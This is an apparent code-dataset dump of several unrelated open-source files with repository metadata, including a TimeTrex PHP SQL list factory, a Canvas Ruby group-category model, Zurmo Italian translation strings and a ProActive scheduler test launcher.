<?php /********************************************************************************* * TimeTrex is a Payroll and Time Management program developed by * TimeTrex Software Inc. Copyright (C) 2003 - 2014 TimeTrex Software Inc. * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU Affero General Public License version 3 as published by * the Free Software Foundation with the addition of the following permission * added to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED * WORK IN WHICH THE COPYRIGHT IS OWNED BY TIMETREX, TIMETREX DISCLAIMS THE * WARRANTY OF NON INFRINGEMENT OF THIRD PARTY RIGHTS. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more * details. * * You should have received a copy of the GNU Affero General Public License along * with this program; if not, see http://www.gnu.org/licenses or write to the Free * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301 USA. * * You can contact TimeTrex headquarters at Unit 22 - 2475 Dobbin Rd. Suite * #292 Westbank, BC V4T 2E9, Canada or at email address info@timetrex.com. * * The interactive user interfaces in modified source and object code versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU Affero General Public License version 3. * * In accordance with Section 7(b) of the GNU Affero General Public License * version 3, these Appropriate Legal Notices must retain the display of the * "Powered by TimeTrex" logo. If the display of the logo is not reasonably * feasible for technical reasons, the Appropriate Legal Notices must display * the words "Powered by TimeTrex". ********************************************************************************/ /** * @package Modules\Users */ class UserDeductionListFactory extends UserDeductionFactory implements IteratorAggregate { function getAll($limit = NULL, $page = NULL, $where = NULL, $order = NULL) { $query = ' select * from '. $this->getTable() .' WHERE deleted = 0 '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, NULL, $limit, $page ); return $this; } function getById($id, $where = NULL, $order = NULL) { if ( $id == '') { return FALSE; } if ( is_array($id) ) { $this->rs = FALSE; } else { $this->rs = $this->getCache($id); } if ( $this->rs === FALSE ) { $ph = array(); $query = ' select * from '. $this->getTable() .' where id in ('. $this->getListSQL($id, $ph) .') AND deleted = 0'; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); if ( !is_array($id) ) { $this->saveCache($this->rs, $id); } } return $this; } function getByIdAndCompanyId($id, $company_id, $order = NULL) { return $this->getByCompanyIdAndId( $company_id, $id, $order ); } function getByCompanyIdAndId($company_id, $id, $where = NULL, $order = NULL) { if ( $company_id == '') { return FALSE; } if ( $id == '') { return FALSE; } $uf = new UserFactory(); $ph = array( 'company_id' => $company_id, 'id' => $id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b where a.user_id = b.id AND b.company_id = ? AND a.id = ? AND a.deleted = 0 '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByCompanyDeductionId($deduction_id, $where = NULL, $order = NULL) { if ( $deduction_id == '') { return FALSE; } $uf = new UserFactory(); $ph = array( 'deduction_id' => $deduction_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b where a.user_id = b.id AND a.company_deduction_id = ? AND ( a.deleted = 0 AND b.deleted = 0 ) '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByCompanyId($company_id, $where = NULL, $order = NULL) { if ( $company_id == '') { return FALSE; } $uf = new UserFactory(); $cdf = new CompanyDeductionFactory(); $ph = array( 'company_id' => $company_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b, '. $cdf->getTable() .' as c where a.user_id = b.id AND a.company_deduction_id = c.id AND b.company_id = ? AND a.deleted = 0 ORDER BY c.calculation_order '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByCompanyIdAndCompanyDeductionId($company_id, $deduction_id, $where = NULL, $order = NULL) { if ( $company_id == '') { return FALSE; } if ( $deduction_id == '') { return FALSE; } $uf = new UserFactory(); $ph = array( 'company_id' => $company_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b where a.user_id = b.id AND b.company_id = ? AND a.company_deduction_id in ('. $this->getListSQL($deduction_id, $ph) .') AND ( a.deleted = 0 AND b.deleted = 0 ) '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByUserIdAndCompanyDeductionId($user_id, $deduction_id, $where = NULL, $order = NULL) { if ( $user_id == '') { return FALSE; } if ( $deduction_id == '') { return FALSE; } $uf = new UserFactory(); $ph = array( 'deduction_id' => $deduction_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b where a.user_id = b.id AND a.company_deduction_id = ? AND a.user_id in ('. $this->getListSQL($user_id, $ph) .') AND (a.deleted = 0 AND b.deleted = 0) '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByUserIdAndCountryID($user_id, $country_id, $where = NULL, $order = NULL) { if ( $user_id == '') { return FALSE; } if ( $country_id == '') { return FALSE; } //$uf = new UserFactory(); $cdf = new CompanyDeductionFactory(); $ph = array( 'user_id' => $user_id, 'country_id' => $country_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $cdf->getTable() .' as b where a.company_deduction_id = b.id AND a.user_id = ? AND b.country = ? AND ( a.deleted = 0 AND b.deleted = 0 ) '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByUserIdAndPayStubEntryAccountID($user_id, $pse_account_id, $where = NULL, $order = NULL) { if ( $user_id == '') { return FALSE; } if ( $pse_account_id == '') { return FALSE; } //$uf = new UserFactory(); $cdf = new CompanyDeductionFactory(); $ph = array( 'user_id' => $user_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $cdf->getTable() .' as b where a.company_deduction_id = b.id AND a.user_id = ? AND b.pay_stub_entry_account_id in ('. $this->getListSQL($pse_account_id, $ph) .') AND ( a.deleted = 0 AND b.deleted = 0 ) '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByCompanyIdAndUserId($company_id, $user_id, $where = NULL, $order = NULL) { if ( $company_id == '') { return FALSE; } if ( $user_id == '') { return FALSE; } if ( $order == NULL ) { $order = array( 'c.status_id' => 'asc', 'c.calculation_order' => 'asc', 'c.id' => 'asc' ); $strict = FALSE; } else { $strict = TRUE; } $uf = new UserFactory(); $cdf = new CompanyDeductionFactory(); $ph = array( 'company_id' => $company_id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b, '. $cdf->getTable() .' as c where a.user_id = b.id AND a.company_deduction_id = c.id AND b.company_id = ? AND a.user_id in ('. $this->getListSQL($user_id, $ph) .') AND (a.deleted = 0 AND c.deleted = 0) '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order, $strict ); $this->ExecuteSQL( $query, $ph ); return $this; } function getByCompanyIdAndUserIdAndId($company_id, $user_id, $id, $where = NULL, $order = NULL) { if ( $company_id == '') { return FALSE; } if ( $user_id == '') { return FALSE; } if ( $id == '') { return FALSE; } $uf = new UserFactory(); $ph = array( 'company_id' => $company_id, 'user_id' => $user_id, 'id' => $id, ); $query = ' select a.* from '. $this->getTable() .' as a, '. $uf->getTable() .' as b where a.user_id = b.id AND b.company_id = ? AND a.user_id = ? AND a.id = ? AND a.deleted = 0 '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order ); $this->ExecuteSQL( $query, $ph ); return $this; } function getAPISearchByCompanyIdAndArrayCriteria( $company_id, $filter_data, $limit = NULL, $page = NULL, $where = NULL, $order = NULL ) { if ( $company_id == '') { return FALSE; } if ( !is_array($order) ) { //Use Filter Data ordering if its set. if ( isset($filter_data['sort_column']) AND $filter_data['sort_order']) { $order = array(Misc::trimSortPrefix($filter_data['sort_column']) => $filter_data['sort_order']); } } $additional_order_fields = array(); if ( $order == NULL ) { $order = array( 'uf.status_id' => 'asc', 'uf.last_name' => 'asc', 'uf.first_name' => 'asc'); $strict = FALSE; } else { //Always sort by status, last name, first name after other columns if ( !isset($order['uf.status_id']) ) { $order['uf.status_id'] = 'asc'; } if ( !isset($order['uf.last_name']) ) { $order['uf.last_name'] = 'asc'; } if ( !isset($order['uf.first_name']) ) { $order['uf.first_name'] = 'asc'; } $strict = TRUE; } //Debug::Arr($order, 'Order Data:', __FILE__, __LINE__, __METHOD__, 10); //Debug::Arr($filter_data, 'Filter Data:', __FILE__, __LINE__, __METHOD__, 10); $uf = new UserFactory(); $cdf = new CompanyDeductionFactory(); $ph = array( 'company_id' => $company_id, ); $query = ' select a.*, uf.first_name as first_name, uf.last_name as last_name, uf.country as country, uf.province as province, cdf.name as name, cdf.status_id as status_id, cdf.type_id as type_id, cdf.calculation_id as calculation_id, y.first_name as created_by_first_name, y.middle_name as created_by_middle_name, y.last_name as created_by_last_name, z.first_name as updated_by_first_name, z.middle_name as updated_by_middle_name, z.last_name as updated_by_last_name from '. $this->getTable() .' as a LEFT JOIN '. $uf->getTable() .' as uf ON ( a.user_id = uf.id AND uf.deleted = 0 ) LEFT JOIN '. $cdf->getTable() .' as cdf ON ( a.company_deduction_id = cdf.id AND cdf.deleted = 0 ) LEFT JOIN '. $uf->getTable() .' as y ON ( a.created_by = y.id AND y.deleted = 0 ) LEFT JOIN '. $uf->getTable() .' as z ON ( a.updated_by = z.id AND z.deleted = 0 ) where uf.company_id = ? '; $query .= ( isset($filter_data['permission_children_ids']) ) ? $this->getWhereClauseSQL( 'a.user_id', $filter_data['permission_children_ids'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['id']) ) ? $this->getWhereClauseSQL( 'a.id', $filter_data['id'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['exclude_id']) ) ? $this->getWhereClauseSQL( 'a.id', $filter_data['exclude_id'], 'not_numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['status_id']) ) ? $this->getWhereClauseSQL( 'cdf.status_id', $filter_data['status_id'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['type_id']) ) ? $this->getWhereClauseSQL( 'cdf.type_id', $filter_data['type_id'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['user_id']) ) ? $this->getWhereClauseSQL( 'a.user_id', $filter_data['user_id'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['company_deduction_id']) ) ? $this->getWhereClauseSQL( 'a.company_deduction_id', $filter_data['company_deduction_id'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['calculation_id']) ) ? $this->getWhereClauseSQL( 'cdf.calculation_id', $filter_data['calculation_id'], 'numeric_list', $ph ) : NULL; $query .= ( isset($filter_data['created_by']) ) ? $this->getWhereClauseSQL( array('a.created_by', 'y.first_name', 'y.last_name'), $filter_data['created_by'], 'user_id_or_name', $ph ) : NULL; $query .= ( isset($filter_data['updated_by']) ) ? $this->getWhereClauseSQL( array('a.updated_by', 'z.first_name', 'z.last_name'), $filter_data['updated_by'], 'user_id_or_name', $ph ) : NULL; $query .= ' AND a.deleted = 0 '; $query .= $this->getWhereSQL( $where ); $query .= $this->getSortSQL( $order, $strict, $additional_order_fields ); $this->ExecuteSQL( $query, $ph, $limit, $page ); return $this; } } ?>
maestrano/timetrex
classes/modules/users/UserDeductionListFactory.class.php
PHP
agpl-3.0
14,005
package com.nordicpeak.flowengine.enums; public enum ContentType { NEW, WAITING_FOR_MULTISIGN, WAITING_FOR_PAYMENT, SUBMITTED, WAITING_FOR_COMPLETION, IN_PROGRESS, ARCHIVED }
christer155/Open-ePlatform
FlowEngine/src/com/nordicpeak/flowengine/enums/ContentType.java
Java
agpl-3.0
201
<?php /** * This file is part of the Checkbook NYC financial transparency software. * * Copyright (C) 2012, 2013 New York City * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ class UnionJoinController extends AbstractJoinController { public static $METHOD_NAME = 'Union'; protected function joinSourceConfigurations(JoinController_SourceConfiguration $sourceConfigurationA, JoinController_SourceConfiguration $sourceConfigurationB) { // adding data from source A $result = isset($sourceConfigurationA->data) ? $sourceConfigurationA->adjustDataColumnNames() : NULL; // adding data from source B if (isset($sourceConfigurationB->data)) { $adjustedDataB = $sourceConfigurationB->adjustDataColumnNames(); if (isset($result)) { $result = array_merge($result, $adjustedDataB); } else { $result = $adjustedDataB; } } return new JoinController_SourceConfiguration($result); } }
MomixSolutions/MyGovCenter
source/webapp/sites/all/modules/dashboard_platform/join_controller/controller/handler/UnionJoinController.php
PHP
agpl-3.0
1,672
<?php /********************************************************************************* * Zurmo is a customer relationship management program developed by * Zurmo, Inc. Copyright (C) 2014 Zurmo Inc. * * Zurmo is free software; you can redistribute it and/or modify it under * the terms of the GNU Affero General Public License version 3 as published by the * Free Software Foundation with the addition of the following permission added * to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK * IN WHICH THE COPYRIGHT IS OWNED BY ZURMO, ZURMO DISCLAIMS THE WARRANTY * OF NON INFRINGEMENT OF THIRD PARTY RIGHTS. * * Zurmo is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more * details. * * You should have received a copy of the GNU Affero General Public License along with * this program; if not, see http://www.gnu.org/licenses or write to the Free * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301 USA. * * You can contact Zurmo, Inc. with a mailing address at 27 North Wacker Drive * Suite 370 Chicago, IL 60606. or at email address contact@zurmo.com. * * The interactive user interfaces in original and modified versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU Affero General Public License version 3. * * In accordance with Section 7(b) of the GNU Affero General Public License version 3, * these Appropriate Legal Notices must retain the display of the Zurmo * logo and Zurmo copyright notice. If the display of the logo is not reasonably * feasible for technical reasons, the Appropriate Legal Notices must display the words * "Copyright Zurmo Inc. 2014. All rights reserved". ********************************************************************************/ // KEEP these in alphabetical order. // KEEP them indented correctly. // KEEP all the language files up-to-date with each other. // DON'T MAKE A MESS! return array( '1 Column' => '1 Colonna', '2 Columns' => '2 Colonne', '2 Columns Left Strong' => 'Sinistra', '2 Columns Right Strong' => 'Destra', 'Access Dashboards' => 'Accesso ai Dashboards', 'Add Portlet' => 'Nuovo Portlet', 'Are you sure want to delete this dashboard?' => 'Vorrei eliminare questo dashboard?', 'Create Dashboard' => 'Nuovo Dashboard', 'Create Dashboards' => 'Nuovi Dashboards', 'Dashboard' => 'Dashboard', // Same Word Translated 'Delete Dashboard' => 'Elimina Dashboard', 'Delete Dashboards' => 'Elimina i Dashboards', 'Don\'t show me this screen again' => 'Non visualizzare più questa finestra', 'Don\'t worry you can turn it on again' => 'è possibile riattivarla', 'Edit Dashboard' => 'Modifica Dashboard', 'Go to the dashboard' => 'Continuare al dashboard', 'Helpful Links' => 'Links utili', 'Home' => 'Home', // Same Word Translated 'Is Default' => 'Default', 'Join the forum' => 'Raggiungere il forum', 'Layout Id' => 'ID del Layout', 'Layout Type' => 'Formato del Layout', 'Next Tip' => 'Prossimo', 'Read the wiki' => 'Leggere il wiki', 'Return to Home' => 'Ritorno a Home', 'Switch Dashboard' => 'Cambiare Dashboard', 'Tip of the Day' => 'Suggerimenti del giorno', 'Using a CRM shouldn\'t be a chore. With Zurmo, you can earn points, ' . 'collect badges, and compete against co-workers while getting your job done.' => 'L\'uso di un sistema CRM non dev\'essere un lavoro ingrato. Con Zurmo, è possibile ' . 'guadagnare punti, raccogliere badges, e competere contro i colleghi, mentre completare il vostro lavoro.', 'View a tutorial' => 'Visualizzare un tutorial', 'Watch a video' => 'Guardare un video', 'Welcome to Zurmo' => 'Benvenuto a Zurmo', ); ?>
speixoto/zurmo-for-school
app/protected/modules/home/messages/it/Default.php
PHP
agpl-3.0
4,628
# # Copyright (C) 2011 - 2013 Instructure, Inc. # # This file is part of Canvas. # # Canvas is free software: you can redistribute it and/or modify it under # the terms of the GNU Affero General Public License as published by the Free # Software Foundation, version 3 of the License. # # Canvas is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU Affero General Public License for more # details. # # You should have received a copy of the GNU Affero General Public License along # with this program. If not, see <http://www.gnu.org/licenses/>. # class GroupCategory < ActiveRecord::Base attr_accessible :name, :role, :context belongs_to :context, :polymorphic => true has_many :groups, :dependent => :destroy has_many :assignments, :dependent => :nullify validates_length_of :name, :maximum => maximum_string_length, :allow_nil => true, :allow_blank => true validates_numericality_of :group_limit, :greater_than => 1, :allow_nil => true scope :active, where(:deleted_at => nil) scope :other_than, lambda { |cat| where("group_categories.id<>?", cat.id || 0) } class << self def protected_name_for_context?(name, context) protected_names_for_context(context).include?(name) end def student_organized_for(context) role_category_for_context('student_organized', context) end def imported_for(context) role_category_for_context('imported', context) end def communities_for(context) role_category_for_context('communities', context) end protected def name_for_role(role) case role when 'student_organized' then t('group_categories.student_organized', "Student Groups") when 'imported' then t('group_categories.imported', "Imported Groups") when 'communities' then t('group_categories.communities', "Communities") end end def protected_roles_for_context(context) case context when Course then ['student_organized', 'imported'] when Account then ['communities', 'imported'] else [] end end def protected_role_for_context?(role, context) protected_roles_for_context(context).include?(role) end def protected_names_for_context(context) protected_roles_for_context(context).map{ |role| name_for_role(role) } end def role_category_for_context(role, context) return unless context and protected_role_for_context?(role, context) context.group_categories.find_by_role(role) || context.group_categories.create(:name => name_for_role(role), :role => role) end end def communities? self.role == 'communities' end def student_organized? self.role == 'student_organized' end def protected? self.role.present? end # Group categories generally restrict students to only be in one group per # category, but we sort of cheat and implement student organized groups and # communities as one big group category, and then relax that membership # restriction. def allows_multiple_memberships? self.student_organized? || self.communities? end # this is preferred over setting self_signup directly. know that if you set # self_signup directly to anything other than nil (or ''), 'restricted', or # 'enabled', it will behave as if you used 'enabled'. def configure_self_signup(enabled, restricted) if !enabled self.self_signup = nil elsif restricted self.self_signup = 'restricted' else self.self_signup = 'enabled' end end def self_signup? self.self_signup.present? end def unrestricted_self_signup? self.self_signup.present? && self.self_signup != 'restricted' end def restricted_self_signup? self.self_signup.present? && self.self_signup == 'restricted' end def has_heterogenous_group? # if it's not a course, we want the answer to be false. but that same # condition would may any group in the category say has_common_section? # false, and force us true. so we special case it, and get the short # circuit as a bonus. return false unless self.context && self.context.is_a?(Course) self.groups.any?{ |group| !group.has_common_section? } end def group_for(user) groups.active.to_a.find{ |g| g.users.include?(user) } end alias_method :destroy!, :destroy def destroy # TODO: this is kinda redundant with the :dependent => :destroy on the # groups association, but that doesn't get called since we override # destroy. also, the group destroy happens to be "soft" as well, and I # double checked groups.destroy_all does the right thing. :) groups.destroy_all self.deleted_at = Time.now self.save end def distribute_members_among_groups(members, groups) return [] if groups.empty? new_memberships = [] touched_groups = [].to_set groups_by_size = {} groups.each do |group| size = group.users.size groups_by_size[size] ||= [] groups_by_size[size] << group end smallest_group_size = groups_by_size.keys.min members.sort_by{ rand }.each do |member| group = groups_by_size[smallest_group_size].first membership = group.add_user(member) if membership.valid? new_memberships << membership touched_groups << group.id # successfully added member to group, move it to the new size bucket groups_by_size[smallest_group_size].shift groups_by_size[smallest_group_size + 1] ||= [] groups_by_size[smallest_group_size + 1] << group # was that the last group of that size? if groups_by_size[smallest_group_size].empty? groups_by_size.delete(smallest_group_size) smallest_group_size += 1 end end end Group.where(:id => touched_groups.to_a).update_all(:updated_at => Time.now.utc) unless touched_groups.empty? return new_memberships end end
muthhus/canvas-lms
app/models/group_category.rb
Ruby
agpl-3.0
6,047
# This file is part of Navitia, # the software to build cool stuff with public transport. # # Hope you'll enjoy and contribute to this project, # powered by Canal TP (www.canaltp.fr). # Help us simplify mobility and open public transport: # a non ending quest to the responsive locomotion way of traveling! # # LICENCE: This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # Stay tuned using # twitter @navitia # channel `#navitia` on riot https://riot.im/app/#/room/#navitia:matrix.org # https://groups.google.com/d/forum/navitia # www.navitia.io from __future__ import absolute_import, print_function, unicode_literals, division from jormungandr.interfaces.v1.serializer import serialize_with def get_serializer(serpy): return serialize_with(serpy) def get_obj_serializer(obj): return get_serializer(serpy=obj.output_type_serializer)
xlqian/navitia
source/jormungandr/jormungandr/interfaces/v1/decorators.py
Python
agpl-3.0
1,461
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * This file is part of Onlogistics, a web based ERP and supply chain * management application. * * Copyright (C) 2003-2008 ATEOR * * This program is free software: you can redistribute it and/or modify it * under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public * License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * PHP version 5.1.0+ * * @package Onlogistics * @author ATEOR dev team <dev@ateor.com> * @copyright 2003-2008 ATEOR <contact@ateor.com> * @license http://www.fsf.org/licensing/licenses/agpl-3.0.html GNU AGPL * @version SVN: $Id$ * @link http://www.onlogistics.org * @link http://onlogistics.googlecode.com * @since File available since release 0.1.0 * @filesource */ class GridColumnACHProductRefAndQty extends SubGridColumn { /** * Constructor * * @access protected */ function GridColumnACOProductTypeName($title = '', $params = array()) { parent::__construct($title, $params); } function render($object) { $grid = new SubGrid(); $grid->newColumn('FieldMapper', _('Ref.'), array('Macro'=>"%Product.Basereference%")); $grid->newColumn('FieldMapper', _('Ref.'), array('Macro'=>"%Quantity%")); $result = ''; $aco = $object->getActivatedChainOperation(); if($aco instanceof ActivatedChainOperation) { $activatedChain = $aco->getActivatedChain(); $commandItemCol = $activatedChain->getCommandItemCollection(); $result = $grid->render($commandItemCol); } return $result; } } ?>
danilo-cesar/onlogistics
lib/CustomGrid/Columns/GridColumnACHProductRefAndQty.php
PHP
agpl-3.0
2,153
/* * ProActive Parallel Suite(TM): * The Open Source library for parallel and distributed * Workflows & Scheduling, Orchestration, Cloud Automation * and Big Data Analysis on Enterprise Grids & Clouds. * * Copyright (c) 2007 - 2017 ActiveEon * Contact: contact@activeeon.com * * This library is free software: you can redistribute it and/or * modify it under the terms of the GNU Affero General Public License * as published by the Free Software Foundation: version 3 of * the License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * If needed, contact us to obtain a release under GPL Version 2 or 3 * or a different license than the AGPL. */ package functionaltests.utils; import static functionaltests.utils.RMFunctionalTest.NODES_NOT_RECOVERABLE; import java.io.Serializable; import java.net.URI; import org.objectweb.proactive.core.config.CentralPAPropertyRepository; import org.objectweb.proactive.extensions.pnp.PNPConfig; import org.ow2.proactive.authentication.crypto.Credentials; import org.ow2.proactive.resourcemanager.RMFactory; import org.ow2.proactive.resourcemanager.authentication.RMAuthentication; import org.ow2.proactive.resourcemanager.core.properties.PAResourceManagerProperties; import org.ow2.proactive.resourcemanager.frontend.RMConnection; import org.ow2.proactive.resourcemanager.frontend.ResourceManager; import org.ow2.proactive.resourcemanager.nodesource.NodeSource; import org.ow2.proactive.resourcemanager.nodesource.infrastructure.LocalInfrastructure; import org.ow2.proactive.resourcemanager.nodesource.policy.StaticPolicy; import org.ow2.proactive.scheduler.SchedulerFactory; import org.ow2.proactive.scheduler.common.SchedulerConnection; import org.ow2.proactive.scheduler.common.SchedulerStatus; import org.ow2.proactive.scheduler.core.properties.PASchedulerProperties; import org.ow2.proactive.scheduler.task.utils.ForkerUtils; import org.ow2.proactive.scheduler.util.SchedulerHsqldbStarter; import org.ow2.proactive.scheduler.util.SchedulerStarter; /** * Starts Scheduler and Resource Manager. * It is used to start scheduler in a separate JVM than the Test itself. * * @author The ProActive Team */ public class SchedulerStartForFunctionalTest implements Serializable { public static final int RM_NODE_DEPLOYMENT_TIMEOUT = 100000; public static final int RM_NODE_NUMBER = 2; public static final String RM_NODE_NAME = "TEST"; protected static String schedulerUrl; /** * Start a Scheduler and Resource Manager. Must be called with following * arguments: * <ul> * <li>first argument: true if the RM started with the scheduler has to start some nodes * <li>second argument: path to a scheduler Properties file * <li>third argument: path to a RM Properties file * <li>fourth argument (optional): URL to RM * </ul> */ public static void main(String[] args) throws Exception { if (args.length < 3) { throw new IllegalArgumentException("Invalid number of parameters, exactly 3 parameters are expected: localNodes schedPropPath rmPropPath"); } System.setProperty(SchedulerStarter.REST_DISABLED_PROPERTY, "true"); if (args.length == 4) { createWithExistingRm(args[1], args[3]); } else { createRMAndScheduler(args); } System.out.println("Scheduler successfully created!"); } private static void createRMAndScheduler(String[] args) throws Exception { final boolean deployLocalNodes = Boolean.valueOf(args[0]); String schedPropPath = args[1]; String rmPropPath = args[2]; PAResourceManagerProperties.updateProperties(rmPropPath); PASchedulerProperties.updateProperties(schedPropPath); RMFactory.setOsJavaProperty(); new SchedulerHsqldbStarter().startIfNeeded(); new Thread() { public void run() { try { RMFactory.startLocal(); // waiting the initialization RMAuthentication rmAuth = RMConnection.waitAndJoin(schedulerUrl); if (deployLocalNodes) { Credentials credentials = Credentials.getCredentials(PAResourceManagerProperties.getAbsolutePath(PAResourceManagerProperties.RM_CREDS.getValueAsString())); ResourceManager rmAdmin = rmAuth.login(credentials); rmAdmin.createNodeSource(RM_NODE_NAME, LocalInfrastructure.class.getName(), new Object[] { credentials.getBase64(), RM_NODE_NUMBER, RM_NODE_DEPLOYMENT_TIMEOUT, getJavaPropertiesLine() }, StaticPolicy.class.getName(), new Object[] { "ALL", "ALL" }, NODES_NOT_RECOVERABLE); rmAdmin.disconnect(); } } catch (Exception e) { e.printStackTrace(); } } }.start(); schedulerUrl = "pnp://localhost:" + PNPConfig.PA_PNP_PORT.getValue() + "/"; SchedulerFactory.createScheduler(new URI(schedulerUrl), PASchedulerProperties.SCHEDULER_DEFAULT_POLICY.getValueAsString(), SchedulerStatus.STARTED); SchedulerConnection.waitAndJoin(schedulerUrl); } private static String getJavaPropertiesLine() { StringBuilder line = new StringBuilder(); line.append("-Dproactive.test=true"); line.append(" "); line.append(CentralPAPropertyRepository.PA_RUNTIME_PING.getCmdLine() + "false"); String forkMethodKeyValue = System.getProperty(ForkerUtils.FORK_METHOD_KEY); if (forkMethodKeyValue != null) { line.append(" "); line.append("-D" + ForkerUtils.FORK_METHOD_KEY + "=" + forkMethodKeyValue); } if (System.getProperty("proactive.test.runAsMe") != null) { line.append(" "); line.append("-Dproactive.test.runAsMe=true"); } return line.toString(); } private static void createWithExistingRm(String schedulerPropertiesPath, String rmUrl) throws Exception { System.out.println("Creating with existing " + rmUrl); PASchedulerProperties.updateProperties(schedulerPropertiesPath); SchedulerFactory.createScheduler(new URI(rmUrl), PASchedulerProperties.SCHEDULER_DEFAULT_POLICY.getValueAsString(), SchedulerStatus.STARTED); SchedulerConnection.waitAndJoin(schedulerUrl); } }
mbenguig/scheduling
scheduler/scheduler-server/src/test/java/functionaltests/utils/SchedulerStartForFunctionalTest.java
Java
agpl-3.0
7,242
<!-- /********************************************************************************* * SugarCRM is a customer relationship management program developed by * SugarCRM, Inc. Copyright (C) 2004-2011 SugarCRM Inc. * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU Affero General Public License version 3 as published by the * Free Software Foundation with the addition of the following permission added * to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK * IN WHICH THE COPYRIGHT IS OWNED BY SUGARCRM, SUGARCRM DISCLAIMS THE WARRANTY * OF NON INFRINGEMENT OF THIRD PARTY RIGHTS. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more * details. * * You should have received a copy of the GNU Affero General Public License along with * this program; if not, see http://www.gnu.org/licenses or write to the Free * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301 USA. * * You can contact SugarCRM, Inc. headquarters at 10050 North Wolfe Road, * SW2-130, Cupertino, CA 95014, USA. or at email address contact@sugarcrm.com. * * The interactive user interfaces in modified source and object code versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU Affero General Public License version 3. * * In accordance with Section 7(b) of the GNU Affero General Public License version 3, * these Appropriate Legal Notices must retain the display of the "Powered by * SugarCRM" logo. If the display of the logo is not reasonably feasible for * technical reasons, the Appropriate Legal Notices must display the words * "Powered by SugarCRM". ********************************************************************************/ 